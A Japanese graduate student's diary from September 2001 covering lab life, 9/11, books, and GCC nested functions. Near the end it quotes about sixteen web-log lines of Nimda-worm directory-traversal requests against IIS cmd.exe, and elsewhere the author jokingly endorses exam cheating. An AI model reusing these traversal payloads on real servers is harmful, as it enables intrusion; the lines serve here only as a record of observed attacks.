8月が終わったぞ、9月になったぞ、今度こそ秋だぞ、勉学の秋だぞ、と思っていたら、初っ端から2日間も休んでしまって、しかも、今日は午後の出勤である。だが、しかし、おそるべき研究室、ほとんど誰もいないぞ。まあ、いつものことだと割り切ってもよいのだが、それにしても…。他人の心配をしている自分が馬鹿馬鹿しくなってきた。
Makefile の効用
Makefileを書けば、二度とそれを打ち込む必要がない。Makefileを書いておけば、たとえ1年後に思い出したようにその実行ファイルを再コンパイルしようとしたときにも、makeと打ちこむだけでよい。
最後の理由により、1個以上のファイルが関係する場合、ドキュメント(っていうか備忘録)がわりにMakefileを書いている、今日このごろ。
某友人が留学する。その壮行会をやろうという話になったのだが、いつのまにか幹事ということになっている。ひとりじゃないのがせめてもの救いかと。さて、再来週末に開催するということで、これまで連絡してはきたのだが、昨日、内金を入金して、契約書にサインをしてきた。こうやってカタチのあるものとして動きはじめると、やはりぞくぞくする。といっても、高々数万円程度の金額で、カネが動いていることを実感するようでは、大きな人間にはなれないなあと思ったり思わなかったり。ともかく、これからまだいくつか考えること決めること連絡することがあるが、やってやろーじゃねーか、などと思いを新たにしてみたのだった。結局のところ、これもひとつのイベントととらえている自分がいる。
コーヒーが無くなってしまったので、帰りたい。
明日もって来るべきもの。
割り箸が無いがために、パックで購入したカップめんが食べられないとは…!
9:58 到着。セーフ。でも周囲の準備ができていないのでこの時間。ダメ…だよな。
B4発表練習。テクニカルな問題というよりも、今さら足掻いてもどうしようもない、というのが正直なところか。発表は金曜日。プレッシャを与える質問は自分に対するプレッシャにもなるのが辛いところだ。
メシを食ったら目が覚めた。ま、いつものことかと。
怪物が研究室をうろついている。睡魔という怪物が…。
っていうか、半分以上が撃沈。なにがあったんだ、みんな!
ねむいので図書館に行こうと思う。ちょっと待った!寝るためじゃないぞ!
アタマの中がスパゲティ…。
帰って寝ることを提案します。承認。全会一致。
ここのところ、あやしい(…というわけでもないけれど)学生が学内で勧誘(らしきもの)をしている。説明のためであろう、ラミネートされたチラシ(のようなもの)を持って道行く人に声をかけているのだ。昨日も桜並木で目の前を歩いていた学生に声をかけていたが、彼はほぼ完全無視で素通り。ちなみに私にはかけてこなかった。コンビニの袋のみを持って歩いているところが普通の学部生に見えなかったのだろうか。それはさておき、「…の公開講座」と言っているのは聞こえたのだが、詳細はよくわからない。いずれにしても、聞くほどの価値がありそうには思えないのだが、ネタになるので声をかけて欲しかった。
と思っていたら、今日は声をかけてくれた。桜並木を抜けて本館の横を通るあたりで、「あの…」などと気弱に声をかけて来たのだ。チラシ(のようなもの)を見ると、「なぜ生きるか」などと書いてある。おいおい、その言葉で俺と議論する気か? せっかくなので立ち止まってやったのに、その後すぐ(3秒以内)に話を始めてくれない。ドシロートめ。ツマラないので、相手の目を見て、「あまり聞いてもらえないんでしょ?」と綺麗に図星をついてあげたら、弱気な驚愕を見せ、「ええ…」などと答えて、またまたあとが続かない。さすがにツマラないので、相手の顔を人差し指でキッと指差して、「ダメだよ、せっかく立ち止まったんだから、すぐに話しはじめないと」と役に立つ(であろう)アドバイスをして立ち去ったのだった。すげなく素通りされる以上のショックを彼が受けてなければいいのだが。
しかし、ネタ的には中途半端である。明日も誰か声をかけてくれないだろうか。ちなみに、歩きながらゆっくりと話を聞いてあげたいので、桜並木の入り口あたりで声をかけてくれると嬉しい。
現実逃避モード。散歩してこようと思う。
ついでにメシも食って戻ってきた。
私は今日も元気です。朝から来たのに、午前中は脳ミソが働きませんでした。昼になるとおなかがすきすぎているので脳ミソが働きません。ああ、私は今日もダメです。
B4中間発表終了。とくに問題が発生したわけではなかったのでつまらん。
中間発表からの帰り道における、助手さんからの宣告。
「そう言えば、石原くんは、発表の質疑応答でずいぶん挑戦的だよね」
そんなに酷いだろうか…。そもそも、その助手さんが私の発表するところを見たのは、B4の中間発表(1999/7)と研究発表(2000/2)だけのはずなのだが。
「いや、悪く言えば挑戦的だけど、よく言えばそれだけ自信があるというか」
フォローなのでしょうか、それは。いやたしかに、負けてはならぬという意思があるのは認めますけれども。
「ときに『なに言ってんだこいつ』という表情になるよね」
それは言いすぎです、もちろん、誇張されたジョークなのでしょうけれど。いや、たしかに、質問の意図がはっきりしないときは、逆質問をかますということもありますけれども。
ともかく、である。私の発表スタイルの基本が「度胸と愛敬、イキオイとハッタリ」にあるかぎりにおいて、大きく出て話すということは矯正のしようがない、いわば性格だと思われる。
さて、今年はもはや学会などには参加しないであろうから、次の発表はおそらく修士論文研究発表(2002/2)になることであろう。そして、これは学生という身分における最後のプレゼンということでもあるのだ。研究しなきゃな…
中間発表は終了したが、後学期の輪講スケジュールが決まっていない。例年ならば、9月第2週あたりからスタートしていたようだが、今年は中間発表が7月から9月になったことの影響でよくわからなくなっている。理想的には、8月下旬からスタートしたことを勘案して秋休みを取りたいのであるが、そんなことが通じるのだろうか。いずれにしても来週の月曜日というわけではない。
さて、そんなこんなのうちに修士課程の学生の間でスケジュール案を考えるのだった。そして、M2であるところの私は、自分自身に対してプレッシャをかける目的で、自らの進捗報告を10月中旬に入れることを要請。私以外に困る人間があろうはずもなく、承認されたのであった。というわけで、プレッシャ設定は完了。あとひと月で、カタチあるものをでっちあげるたたき出すことにする。「あっぷあっぱー」の真価発揮のここ1ヶ月と見た。
台風15号、関東に激しい風雨。
予想通り、研究室には誰もなし。さすがに、教授、助教授は出勤しているが…。
「夕陽が綺麗だなあ」と「西日が眩しい」はほぼ同様の現象に対する異なった解釈である。
台風一過である。西から晴れるのであった。
あっという間に暗くなる。秋の日はつるべ落とし、というわけか。
あっという間に暗くなる。
はっ!?
なんで…(後略)
という一言で始まるメールを読んだため。まあ、その気持ちはわからんでもないが、自分が他人にどう思われているのかを考えられない人間はあまり好みではない。いや、逆か。こういう一言を発したのがあまり好みでない人間だったから、マイナスの意味に解釈していやな気分になったのだろう。完全に客観的な人格への道はまだ遠い。
突如始まるミーティング。これが一番恐いが、このスリルがたまらないともいう。
まあ、やるしかないよね。
いまさらながら(時間的に)、週末のまとめ。
いずれにしても旅行のあとはリハビリ・デイが必要であるらしい。そんなこといってられないんだけどなあ(研究の状況的に)。
さて、帰ります。
米国同時多発テロ。
時間的にはこの記事を書くのに、いまさら感がぬぐえないが…。台風が過ぎたと思ったらこの事件である。死者数千人規模というから、歌舞伎町での火事が霞んでしまう。
さて、誰しも思ったかもしれないが、あの、WTCのビルに旋回して突っ込んだ飛行機、映画では何度も同じようなシーンがあったに違いない。ビルに飛行機、ビルに戦闘ヘリ、ビルに機銃掃射、ビルにミサイル、ビルにクリームパイ(そんな場合じゃないというお叱りは御尤も。陳謝)。しかし、これは間違いなく現実なのである。
政治はもちろん、経済にも影響があるだろう(っていうか既に株価や為替に影響でまくり)し、おそらく、亜米利加は黙っていないだろう。なんらかの形での報復、戦争一歩寸前レベルでの攻撃は確実であろうと思う。ちょっとシャレにならない数日〜数週間になりそうである。
「コンコン」ドアを叩く音がする。「はぁ〜い」走る俺。開いてみると、お届けものであった。先生は会議中であろう、不在であった。
こんなことは日常茶飯事であるが、今回はちょっと異なる。いつもならば、例えば印刷用の紙だとか、パソコン一式だとかなのだが、今回は、メタノールである。一斗缶である。なにしろ劇物である。「フルネームでのサインをお願いします」と言われたが、フルネームのサイン程度でいいのか、業者さんよ。そう、大学という組織は極めていいかげんなのだということを感じるのであった。
納品書には 14kg と表記されている。1斗 = 約18L であるから、18 x 0.793 = 14.2kg というわけである。
ぐは! 試験監督に駆りだされることになった。2コマってことは10:40試験開始、ってことは10:30には試験開場であるところの講義室、ってことは10:00をメドに研究室に待機。よいことじゃ、久しぶりにリセットの日になるなり。
米国同時多発テロ関連サイト。
何処もいつもよりも明らかに重い気がする。昼間からだが、夕方になってさらに。あるいは、学内からも大量にアクセスが発生しているために、1クライアントあたりの転送量が減少しているとも思われ。
結局のところ、ほぼ1日が経つが詳細についてはなにもわからないというところか。あるいは、諜報部や軍部は情報を手にしているが、公表していない可能性もある。まさかCIAがなにも掴んでいないというわけもないだろうから、この説はもっともらしい気がするなあ。既に始まっている気もするが、数日中に大規模な報復的攻撃が展開されるのであろう。世界の亜米利加を敵にまわした罪は大きいとばかりに。
湾岸戦争くらいからだろうな、こういう事件の映像に関して現実味がなくなったのは。CGで描けばいくらでもこういうのは再現が可能だし、あるいは逆に、CGで描いたもののほうが鮮明だったりする。現代の我々にとっては、映像が鮮明でなかったり、ブレていたり、異様に遠くからだったり、といったほうが、現実感を伴わせるベースになっているのではなかろうかとさえ思う。「現実感」とは「完璧でないこと」という基準が既に我々の中にはあるんじゃなかろうか。
Fran クリーミーアーモンド、青いパッケージ (この秋より新発売)。結構、濃い気がする。コーヒーにはあまりあわないかも。
っていうか、東急ストアで、フラン (チョコ・ホワイト・森いちご・クリーミーアーモンド) とムースポッキー (チョコ・ホワイト・ストロベリー) が高く積み上げられていたのは壮観だった。
「有限と微小のパン」が文庫になっていないことに気がつき愕然。11月15日に発売だそうだ。しかし、ここまで買いそろえたので、ノベルス版を買う気も借りる気もない。とりあえず、短編集だったことであえて飛ばした、「まどろみ消去」があるのでそれを先に読むことにするのと、しばらくは他の作家の本を読むことにするのと、あと、しかたないので研究をすることにしよう。
あれ、ブギーポップの新刊(ブギーポップ・アンバランス ホーリィ&ゴースト)が出ている(9/10 発売)ではないか。これ幸いなり、見つけたら買おう。
そしてよく考えると、ブギーポップシリーズのはじめの数冊も、犀川&萌絵シリーズのはじめの1冊も人に貸したままではないか、と気がついて愕然とする。そういえば、ナウシカ(全7巻)もそうではないか。とりあえず、読み終わっていない場合は急ぎはしないが、まあ、意識の片隅にでも憶えていてもらえたら嬉しいと祈ることにする。読みおわっているであろうと予測されるものに関しては返却請求をそろそろしてもいいだろう。ある意味、私が本を買うのはコレクション的意図もあるのだから。
ぼーっとしてたら、出撃が遅くなってしまった。
先生が無用に遠慮気味なのと、意外に人数が多くなかったのとで、試験開始30分 (退出可能時刻/入室不能時刻) をもって解雇された。
さて、試験といえばカンニングである。今回の試験は「なんでも持ちこみ可能」なので、カンニングといったら他人の答案を見ることしかかなわず、それは証拠を抑えることがほぼ不可能である。完璧な証拠を握らないことには、その人の一生を奪う (試験中の不正行為が発覚した場合、その学期の単位はすべて剥奪される) ことはできない。
とかなんとかいっていると不正に対して厳しい権力者のように思われるかもしれないが、なにを隠そう、私は「カンニングも実力のうち」主義者である。視力がよいのもあながち関係していないとは言いきれまい。なにしろ、学部1年後学期におけるドイツ語の単位は、前の人の答案を写すことで奪取したものであるからして。結局のところ、カンニングを遂行する勇気やその技術なども、その個人に属する実力なのである。
さらにいえば、これだけ膨大な情報があふれる世界になるとすべてを自らの脳髄に収めておくことは不可能であるからして、如何にしてそれを調べればよいか、何を調べればよいか、ということを知っていれば、それほどマイナスにはならない、いやむしろ、調査・検索の能力という意味ではプラスになるであろうことと思うのであった。
夜が遅かったのと、近年まれに見る悩みがあるのと、まともな格好で寝ていないのと、いつになく早く起きたのとで、午後はまるまる眠かったのだった。
ぼーっとしてたら、瞑想に入ってしまうようです。
先日のメモが解読できない。これを書いていた (計算していた) ときには、かなりいいところまで進んできたと思ったはずなのだが、あの予感はなんだったのだろうというくらいに混乱が極まっている。はじめからやりなおしなのかあ?
うーむ、ここまで誰も来ない研究室にいると、もしかして研究室にいてはいけないんじゃないだろうか?という疑念さえわいてくる(←んなわけはない)。しかし、その疑念の生じる最たる原因は、誰もいないことそのものだけではなく、まさに、自分自身が研究室にいるだけに成り下がっていること、研究室にいても意味のある仕事を為していないことにあるのではないだろうか、と自省してみるのである。
よくよく考えてみると、メシを食っていにゃい。
昼に起きて昨晩買ったパン (そう、今朝はウチに食料があったのダ!) をミルクで食らい、大学に行き、来た途端に蒸すような暑さで喉が渇き、冷蔵庫にマイ・PET BOTTLE・ドリンクがなくなっていたことに気がついて愕然とし、食堂まで降りて500mlのCANを購入し、それを飲みつつ、夕方になって誰もいなくなって小バラがすいていることに気がついたので、カップヌードル・ミニのカレーを食らい、先日のメモを解読しながらプログラムを書き、またも小バラが減ったのでどん兵衛・ミニの天ぷらそばを食らい、そしてあいだをぬってコーヒーは既に5杯くらい飲んでいる。幸か不幸か、プログラムの書きっぷりは快調なのだが、そろそろハラが減ってきたなりヨ。
ここで帰ってしまうと、きっとまた来週はじめに、今日のメモとコードの解読に手間取るんだろうなあと予測されるのだが。
しかし帰ることにするのであった。
なにやら久しぶりに土曜日に研究室に来た気がする。調べてみると8/18以来らしい。
というわけで週末補完計画のために、行きがけにATMに寄ってお金をおろしてきたのである。と、手数料105円を引かれている。この曜日のこの時間に手数料をとられるはずはないのだが…と訝る。くやしい、こんなことなら郵便貯金から臨時におろせばよかっただけの話なのだ。郵貯は土曜・休日に関わらず手数料は存在しないのだから。とられてしまったものはしかたがないのだが、と思いつつ、そんなことは電車に乗って本を読んでいる間は忘れている。さて、大学につくと、正門に国旗が掲揚されている。…なるほど、今日は祝日だったか、敬老の日であった。そして伝統的な国民の休日に相応しく、よく晴れているのだった。
実は高校のときから数学が不得手である。…なにやら、理系の大学院に身をおくものとしてとんでもない発言をしたような気がするが、気にせずに続けよう。数学そのものはあまり得意ではなかったが、それをツールとして用いる、物理や化学に関しては得意だったとはいうことができる。噂によると今の高校数学には「微分方程式」がないらしい。微分方程式なしに物理の電磁気の問題などが解けるのか、などと思ってしまう。いや、たしかにそれを用いずとも解ける、というよりも、それを用いずに解くのが、高校生としての正攻法なのであろうけれども、小学生が方程式を用いるが如くに、高校生には微分方程式を使うのが偉いし速い。
前置きが長くなったが、要するに数学そのものは不得意なのであった。大学に入って、化学が物理と化し(量子論的な展開とか…)、物理が数学と化し(三角関数から虚数の世界へ…)、そして、数学が哲学と化し(n → ∞ のとき 1/n がゼロに収束することを証明せよ…)、その段階で自分が間違った世界にやってきたことに気がついたのだが、もはや遅し、流れのままに大学院まで来てしまった。
さらに前置きが長くなったが、要するに、いま悩んでいるのは、そういう不得手極まりない数学の世界なのであった。単に方程式の係数が数列となっている(のであろうと予測している)だけの話なのだが、その一般項を瞬間的に出すことができないのである。関連する変数(あるいは引数、表記的には添字)がちょっと多すぎるのが原因かもしれない。しかたないので、いまから、どちゃっとすべてをバカみたいに展開してみることにしようと思っている。
だが、しかし、おそるべきことには、もしかしたら、高校時代の頭脳をもってすれば簡単なのかもしれないという不安がよぎることであり…
月曜日は怠惰(…も怠惰)。
週末(d): 言霊。だが、少なくともコトダマという言葉だけで理解したつもりになるのは欺瞞。
ときとして他人の書いたプログラムを見なければならない羽目になる。自分のプログラミングに必要な場合はもちろんだが、ただ単に親切でといった理由で見ることもある。頼まれれば断ることはめったにない。もちろん、数千行のソースファイルを渡されても困るのだが。
たとえ自分自身に直接には必要ない場合でも、関連してなにかの知識を得ることはあったりする。今日もそんなことになった。
「コンパイルできない」という場合は、比較的簡単である。エラーメッセージの意味がわかっていない場合がほとんどであるし、その箇所を見ればよいのだから。今回はソース全体を見なくてもわかった。エラーの箇所をメールの本文に、参考までにソースファイルを添付された (もちろん先に「見てもらっていい?」「別にいいけど」と答えているからだが…) のだが、その本文でエラーがわかったのだ。そのソースを引用 (> ...) した上で、私が書いたのは、1文のみである。
C では 関数を入れ子にできない。
笑ってはいけない。事実、教育用言語であり、私が卒業した学科において講義で使用した言語である、Pascal では、入れ子の関数が使用可能だったと記憶している。無知は罪ではない。
しかし、であった。「C言語 FAQ (日本語訳)」によると、
- どうしてCには入れ子の関数が用意されていないのか。
- 呼ぶ側の関数のローカル変数に正しくアクセスするように入れ子の関数を用意することは簡単な話ではない。そういうわけで、入れ子の関数はCが単純さを失わないように故意に省略された(gccは拡張機能として入れ子の関数を許している)。...(後略)
というわけで、gcc では、拡張機能として入れ子関数を使用できるらしい。「Using and Porting the GNU Compiler Collection (GCC) (日本語訳)」によると、
- 入れ子関数
- 入れ子関数(nested function)は、別の関数の内部に定義された関数です(入れ子関数はGNU C++ではサポートされていません)。入れ子関数の名前は、それが定義されたブロックの内部に局所的なものです。
...(中略)...
関数の中で変数定義ができるところであればどこでも、入れ子関数の定義を行うことができます。 つまり、任意のブロック内で、そのブロックの最初の文の前であれば、入れ子関数の定義が可能です。...(後略)
ということである。なるほど、こういう機能があったのか(C言語知識レベルが1ポイント上昇)。ただ、その質問してきた彼の使用しているコンパイラが、このような機能を有しているかについては、私の預かり知らぬところであるのは無論のことである。(ちなみに、彼の入れ子関数は変数宣言部と見なされるべき位置にはなかった)
この機能にメリットがあるとすれば、局所的にしか有効でないから、外部からは隠蔽された状態になるし、あるいは、プログラム構造を整理するのに役立つのかもしれない。いずれにしても、標準的な C の機能ではないわけだから、私がこの機能を使用するかといえば否であろうと思われる。
最近の流行は「お腹がすいたので帰る」というものらしい。しかしこの時間に帰ると、最寄りのスーパーは閉まっているんだよな。今夜の夕食、如何せん。
創立120周年記念講演会を聴講して来た。今回のテーマは「豊かさの充実」ということで、金融工学を中心としたテーマである。専門とは全然関係ないが、だからこそ、こういうまとまった講演というのはいいのではないか、と思って申し込み、そして参加して来たのだ。
というわけで、13:00から17:30まで講堂にいたのである。学内にいて遊んでいるというわけではないのに、研究室にいることをアピールできないのはちょっと痛い…とか。
ワームが異様にガンバリ中である。
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
GET /msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ../winnt/system32/cmd.exe
GET /scripts/..チ../winnt/system32/cmd.exe
GET /sc?/c+dir
GET /scripts/..?../winnt/system32/cmd.exe
GET /scripts/..?../winnt/system32/cmd.exe
GET /scripts/..w5c../winnt/system32/cmd.exe
GET /scripts/..w5c../winnt/system32/cmd.exe
GET /scripts/..%5c../winnt/system32/cmd.exe
GET /scripts/..%2f../winnt/system32/cmd.exe
こんなのが、Sep 18 22:44:54 からじゃんじゃんばりばりリクエストされてきている。当然ながら、IIS は使っていないので、すべて意味がない。404 (NOT FOUND) を返すだけである。しかし、激しい。今日の午前零時から現在までの、総リクエスト数(正規のものももちろん含む)が2974件であるのに対して、おそらくこいつらによるものと思われるアクセスはなんと2900件である。割合にして、なんと、97.5% が不正アクセスとは。ちょっとトラフィックがきついと思われます。
Admin の ML によって警告されているところを見ると、Code Blue WormとかNimda Wormのあたりのようだ。
なるほど、Nimda Wormのようです。
だ! 腹が減って戦ができん! (っていうかこのパタン多いぞ)
忙しいといっていられるあいだは、まだ余裕がある。すべては「あっぷあっぱー」への準備。ジェットコースタが、滑走をはじめる前に上昇するのと同じ理屈。
マルチタスク不可。
来た。週末攻勢で崩れまくり。
週末攻勢。
些細な一点を除き、すべてに満足。
スゲェ。Vectorに、愛用しているエディタ TeraPadのカテゴリが出来ている。(って、9/18 の話らしいから、情報がちょっと遅れてはいるのだが…)
テキストエディタのカテゴリにおいてソフトウェアごとのカテゴリを持っているものは、Emacs、EmEditor、viクローン、秀丸などがあるから、これらに並ぶ評価を世間で受けてるってことか。自分自身、なにか contribute したわけではないから、直接には関係ないのだが、愛用者のひとりとして素直に嬉しいのである。
目が痛い。今さらながら目薬の偉大さを思い知らされる。先週はなにかと書類を持ち歩いていたためにバッグを変えていたのだが、今週になって小さいのに戻した弊害で、目薬を持ってくるのを忘れたのだ。液晶であっても、ディスプレイを見つづけているというこの環境は目に負担を強いるものらしい。
どうでもいいことだが、世の中は、休みかというほど人がいない(らしい…僕は来るのが遅いため確認できず)。メールを転送することにして、うちでゆっくりとアルゴリズムを組みたてようか…とさえ思うなり。
っていうか、完成するのか? このアイデア…
昨日は予告どおり、研究室には来ていないのである。ではなにをしていたのかというと、ウチで寝ていた…ではなく、図書館でカリカリしていたのだった。ネットワークにつながっていないということはときとして不便ではあるが、それだけに孤立しているわけで、無駄なことをせず、集中できるというメリットがある。ただ、図書館は(さすがの私にとっても)冷房が効きすぎ。寒くなったので、閉館前に逃げ出してしまった。
しかし、崩壊しっぱなしの生活なのであって、今日の夜も眠れず。朝一度、保険のためにタイマをセットしておいた洗濯で起きたのだが、二度寝。そしてその洗濯物があるばかりに「メンドクセェ」で起きられず、稼動しはじめたのは午後なのであった。
こうなったら、夜型を受けいれるというのはどうだろうか。いずれにしても9月中は、学生諸君もまともに来る気はないらしい状況と見られるし…。
え、なんですって?ファイルサーバのハードディスクが壊れた?やばいなあ、いくつかデータをおいてあった気が。いくつかいまは存在していないソフトウェアのアーカイブがおいてあった気が。っていうかマズイな、先生に見つかる前にズラかるべきかも。
不幸中の幸い。昨日は研究室に来ず、今日も遅く来たことが、管理者としての仕事から自然に逃避する結果になった。KUWABARA KUWABARA。
すでに事後処理は終わっていたらしい。感謝、助教授殿。
所持金があまりないのに、買い物なんて行くから、財布の中にお札が一枚もないという状況になるんだ。あ、東急ストアね。
今夜を乗りきれるのか…
わ!箸がない!確認しなかった俺も悪いが、レジのお姉さんも悪い!
何処かにあったはず…と、研究室内のひきだしを開け閉めする。誰もいないので派手に。おお!あるじゃん「徳用箸 100膳」。
これで、以降、カップラーメンも存分に喰えるなり。
こらこらこらこら!俺を誘惑するんじゃない!
なんということか、現在使っているプロバイダがまたも値下げだそうだ(ニュースリリース)。だめじゃん、旧世紀のサービスも太刀打ちできないじゃん。うーん、もう限界かも。いや、なんとしても来年春までは耐えてやる…(既に単なる意地)
あ。
というわけで、明示的に日付変更線を越える。
そして、夜型を受容した朝が訪れるのだった。脱線しつつも、なにもせずに惰眠を貪るよりはマシだ。そして、まだ継続。少なくとも邪魔が入らないあいだは。
いちど帰って、シャワーを浴びて、いろいろ雑務を片付けて、夕刻に至る時刻より前に戻ってくることにする。
ああ、林檎が落ちてこないかなぁ…。
つまり、ニュートン的なヒラメキが日常の中から降ってこないかなぁ…ということである。
戻ってきたものの、眠いのだ。そして/しかし、やることはたくさんあるのだ。
おめめがひょぼひょぼしゅる。
撤収。そして週末リセット計画を敢行するなり。